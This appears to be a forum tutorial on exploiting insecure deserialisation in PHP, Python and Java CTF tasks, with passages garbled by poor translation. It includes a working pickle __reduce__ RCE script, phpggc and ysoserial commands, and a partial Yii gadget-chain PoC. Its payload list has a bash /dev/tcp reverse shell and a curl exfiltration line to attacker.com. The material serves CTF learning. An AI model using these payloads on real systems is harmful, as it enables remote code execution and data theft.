Insecure Deserialisization in CTF: PHP, Python, Java

Depov

Moderator
Staff member
MODERATOR
ULTIMATE
SUPREME
PREMIUM
MEMBER
Joined
Feb 18, 2025
Messages
548
Reaction score
959
Deposit
0$
How to detect serialized data in a CTF task

The first step is to learn how to recognize serialized objects in HTTP traffic. In CTF web, deserialization vulnerabilities hide in cookies, POST parameters, hidden form fields, and custom headlines. Sometimes in the most unexpected places - I once found a pickle object in the title X-Session-Data, which no scanner has highlighted. More details in our article on creating ctf tasks.
Format Signatures by Language

PHP uses a text format. The serialized object looks like O:4:"User":2:{s:4:"name";s:6:"carlos";s:7:"isAdmin";b:0;} - O means object, s – line, b – boolean, the numbers indicate the length. See in the cookie or parameter the string starting with O:, a: (array) or s: It is a PHP series. In source code, the target function is unserialize().

Java serializes in binary format. Key Signature – Bytes AC ED 00 05 in hex or rO0AB in Base64. According to PortSwigger Web Security Academy, any serialized Java object starts with these bytes. In the code, look for the method readObject(), through which data is deselated from InputStream. A separate marker is the title Content-Type: application/x-java-serialized-object.

Python rely on the module pickle (or cPickle). The format is binary, characteristic markers are bytes \x80\x03 or \x80\x04 at the beginning (protocols 3 and 4), in Base64 it gAM or gAQ. Look in the source pickle.loads(), pickle.load(), and also yaml.load() without parameter Loader=SafeLoader – PyYAML is also subject to object injection.

Practical tip: intercept all traffic through Burp Proxy, run cookies and parameters through Decoder. PHP series is read by eyes, Java and Python require hex viewing to identify the signature. Burp Scanner (Professional) automatically marks suspicious deserialization patterns in HTTP messages.
PHP: unserialize, magical techniques and PHPGGC

The operation of the PHP deselesalization is one of the most frequent categories of web-tasques on the CTF. And one of my favorites: attacks here are divided into three levels, from trivial to truly beautiful chains.
Attribute manipulation and type juggling

The simplest scenario of PHP unserialize operation - the application takes a serialized object from the cookie and uses it to control access. A classic example from PortSwigger Academy: Cookie contains a User object with an attribute isAdmin, equal b:0 (false). Change to b:1 (true), recode in Base64, send - if the server code checks $user->isAdmin === true without validation of the object, we get privilege . Sounds too simple? On the CTF it is solved in 30 seconds. In real applications, too, it is more common than you would like.

A separate vector is type juggling through a non-strict comparison. On PHP 7.x and earlier the expression 0 == "любая_строка" returns true: PHP converts line to integer 0. If the desiremalized object contains the password as i:0, and the server code compares through == with a real password-line – authentication bypass. On PHP 8+, this trick doesn't work: the strings no longer convert implicitly to 0. Comparison 5 == "5 of something" also returns false – a string with a non-numerical suffix is no longer given to the number. So the first thing to do is determine the version of PHP – it depends on what tricks are available.
Magical methods PHP and object injection

Magical methods php unserialize is the key to turning a simple substitution of attributes into a full-fledged Remote Code Execution. In the deserialization of PHP causes __wakeup(), when destroying the object - __destruct(), when brought to the line — __toString(). If there is a method in the available classes that performs a dangerous operation with a controlled attribute, this is a ready-made gadget.

Typical CTF chain: class Logger, whose __destruct() Recording content $this->logData to the file $this->logFile. The attacker frames the object Logger with the path /var/www/html/shell.php and PHP-hell in logData. After the garbage collection, the destructor creates a webhell. The beauty is that the author of the code did not even think about the security of this class - he is "just a logger".

Another frequent pattern is __toString(), which is called when the string is concatenized with the object and runs a chain of methods calls on the nested attributes.

Gadget chain search strategy in source: grep by __destruct, __wakeup, __toString – it is kick-off gadgets. For each method found, trace which methods are called on the controlled (public or protected) attributes. Build a chain to a sink function: eval(), system(), exec(), call_user_func(), file_put_contents().
PHPGGC: ready-made phpggc gadget chains

PHPGGC (PHP Generic Gadget Chains) is essentially a yoserial for the PHP world. Contains ready-made chains for Laravel, Symfony, Yii, WordPress, Magento, Guzzle and dozens of other libraries.

Team phpggc Laravel/RCE1 system 'cat /flag.txt' generates serialized payload, which in the deserialization in Laravel-app will cause system('cat /flag.txt'). The result is a string in a PHP format that is ready to be substituted into a vulnerable parameter. List of chains: phpggc -l, filter by frame: phpggc -l | grep Symfony.

Algorithm on CTF: (1) define the framework by titles, cookies, files composer.json or composer.lock; (2) List the chains through phpggc -l; (3) generate a payload for the right ones; (4) if no standard chain is suitable, you will have to build a gadget chain manually by source. The fourth point is where the real CTF begins.
Python: pickle and method reduce

Python pickle RCE is the most straightforward type of insecure deserialialization. Unlike PHP and Java, where you need to collect a chain of gadgets from existing classes, in the pickle the attacker directly indicates the called function and arguments. No gadget chains – just say “do it” and pickle obediently performs.
Mechanics pickle RCE

Module pickle restores objects through special methods. Method __reduce__() – the main weapon: it returns the motorcade (callable, args), when deselerating Python performs callable(*args). Substituting os.system and ("cat /flag.txt",) – get the execution of the command.

import pickle, os, base64

class Exploit:
def __reduce__(self):
return (os.system, ("cat /flag.txt",))

payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload.decode())

This code generates a Base64 line to be placed in a vulnerable parameter. On the server side pickle.loads(base64.b64decode(user_input)) execute the command. Works in any version of Python 3.x and mapps on the MITRE ATT&CK T1059.006 (Python) technique.

In CTF tasks, pickle is found in several contexts: session cookies Flask without itsdangerous or with the leaked SECRET_KEY, API-endpoints with serialized data, Redis storage with pickle values. If a leak is detected in the analysis of the Flask application SECRET_KEY – you can sign an arbitrary cookie with pickle-payload, and the server deserializes it when processing the request.
Payload options and filters

Simple os.system does not return the output to HTTP response. Alternatives for CTF:

Reading the file directly: (eval, ("open('/flag.txt').read()",)) – returns content, but only if the server code outputs the result pickle.loads() (through print() or HTTP response)
subprocess: (subprocess.check_output, (["cat", "/flag.txt"],)) – returns bytes with content (similarly – the result is available only if the server returns the object from pickle.loads())
Reverse shell: (os.system, ("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'",)) – Mappe on T1059.004 (Unix Shell, Execution)
Out-of-band: (os.system, ("curl http://attacker.com/$(cat /flag.txt | base64)",)) – exfiltration via DNS or HTTP when output in response is not available

If the server is filtered os or subprocess, use __import__: replace callable on eval with argument "__import__('os').system('id')". Pickle machine performs arbitrary bytecode, bypass the filter when server pickle.loads() almost impossible is the only reliable protection: not to deseliagree user data through pickle. The point.
Java: gadget chains and ysoserial

Java gadget chain exploitation is the most complex form of insecure deserialization. The attacker cannot directly specify the function being called (as in pickle, it would be too simple). Instead, you need to assemble a chain from the existing classes of the application and its libraries, where each step triggers the next object method.
Identification and yoserial java

Serialized Java objects start with AC ED 00 05 (hex) or rO0AB (Base64). Classes implementing java.io.Serializable, can be serialized. In the deserialization is called readObject() – kick-off gadget. Gadgets are taken from libraries in classpath: Apache Commons Collections, Spring Framework, Groovy, Hibernate. If at least one of these libraries on the server is highly likely to have a ready chain for it.

Ysoserial is the main payload generation tool for Java:


java -jar ysoserial.jar CommonsCollections4 'cat /flag.txt' 2>/dev/null | base64 -w0

java -jar ysoserial.jar

According to SecureLayer7, when selecting a gadget, consider compatibility with the Java version and having a target library in classpath. In practice, this is a choice: CommonsCollections1 through CommonsCollections7, then Groovy1, Spring1-2, Hibernate1. Dumb, but working approach. You can define libraries through stacktrace in errors (specially slip invalid data), files pom.xml or build.gradle (if available) and by characteristic headlines and cookies.

After generating payload, substitute it instead of the original serialized object into a cookie or parameter. Do not forget URL-encode if you transmit via HTTP parameter. If the command is executed silently (no output in the answer) — use out-of-band: DNS request through nslookup, HTTP request to your server, recording the result to the file in webroot.
Gadget chain anatomy: CVE-2020-15148 in Yii Framework

Parsing real poc chain deserialization is the best way to figure out how to build your own chains. CVE-2020-15148 affects Yii 2 (package yiisoft/yii2) versions up to 2.0.38. According to NVD: CVSS 8.9 (HIGH), vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H, CWE-502 (Deserialization of Untrusted Data). Note: NVD rates as 8.9 HIGH (AC:H – active session, C:L) is required, whereas OSV.dev is like 10.0 CRITICAL (AC:L, CH). Here we use the conservative NVD assessment. EPSS estimate — 0.7876 (percentile 0.9958, Top 1% for probability of operation). For CVE, there is a Nuclei automatic scanning template.

Vector decryption: AV:N – remote operation via network; AC:H – high complexity, probably due to the need for specific conditions on the server (for example, an active PHP session for DbSession); PR:N – privileges are not needed; UI:N – user action is not required; S:C – impact goes beyond the vulnerable component.

Vulnerability is exploited if the application on the Yii calls unserialize() on user input. The framework itself does not contain a deselization point - it is in the application code. But Yii provides classes to build a gadget chain to RCE. And here begins the most interesting.

The chain described in detail by RedTeam Pentesting:

Kick-off: yii\db\BatchQueryResult – the only class with __destruct() in the whole framework (v2.0.37). One on the whole framework! The destructor causes $this->reset().
Pivot: reset() performs $this->_dataReader->close(). The attacker puts in _dataReader object yii\web\DbSession.
Trampoline: DbSession::close() checks getIsActive() (works with an active PHP session) and causes composeFields(). Method MultiFieldSession::composeFields() performs call_user_func($this->writeCallback, $this) – the attacker controls writeCallback.
Sink: writeCallback indicates the generateDependencyData() Class yii\caching\ExpressionDependency, containing eval("return {$this->expression};") - RCE.

namespace yii\db {
class BatchQueryResult {
private $_dataReader;
function __construct() {
$this->_dataReader = new \yii\web\DbSession();
}
}
}
namespace yii\web {
class DbSession {
public $writeCallback; // → [ExprDep, 'generateDependencyData']
}
}

The value of this example for CTF is in methodology: grep by __destruct gave one result, from it the chain is traced through controlled attributes to eval(). After the publication of CVE, the chain was added to PHPGGC and in Yii 2.0.38 class BatchQueryResult ceased to cause close() under the deserialization. But the approach itself—from the magical method through controlled attributes to the sink function—is universal to any PHP framework.
Step-by-step search methodology for insecure deserialization on CTF

Algorithm worked on dozens of tasks:

Step 1. Interception and analysis. All traffic through Burp Proxy. Look for Signatures: O: (PHP), rO0AB (Java), gAM/gAQ (pickle) - in cookies, POST body, hidden fields, custom headlines.

Step 2. Definition of the stack. Headlines X-Powered-By, the names of the cookie (PHPSESSID, JSESSIONID, session), configuration files (composer.json, pom.xml, requirements.txt). For blackbox – provoke errors by substitution of invalid data: stacktrace often opens the framework and libraries. I usually start with the substitution AAAA instead of a serialized object – mistakes are very talkative.

Step 3. Simple attacks. Substitution of attributes (role, isAdmin, userId). Type juggling for PHP 7.x. Changing the paths to files if the application uses serialization vulnerability to work with FS.

Step 4. Tool generation payload. PHP – phpggc; Java — ysoserial; Python — manual assembly through __reduce__. For Java, go through: CommonsCollections1-7, Groovy1, Spring1-2, Hibernate1, JRMPClient.

Step 5. Delivery. Substitute payload instead of the original object. Base64 + URL-encode as required. Out-of-band techniques for blind operation: DNS exfiltration, HTTP callback, recording in webroot.

Step 6. Manual construction of the chain. If the tools did not help: grep on magical methods → tracing calls on controlled attributes → sink-finding functions (eval, system, exec, call_user_func, file_put_contents). JD-GUI or CFR decompilers help analyze Java classes without source.
 
Top Bottom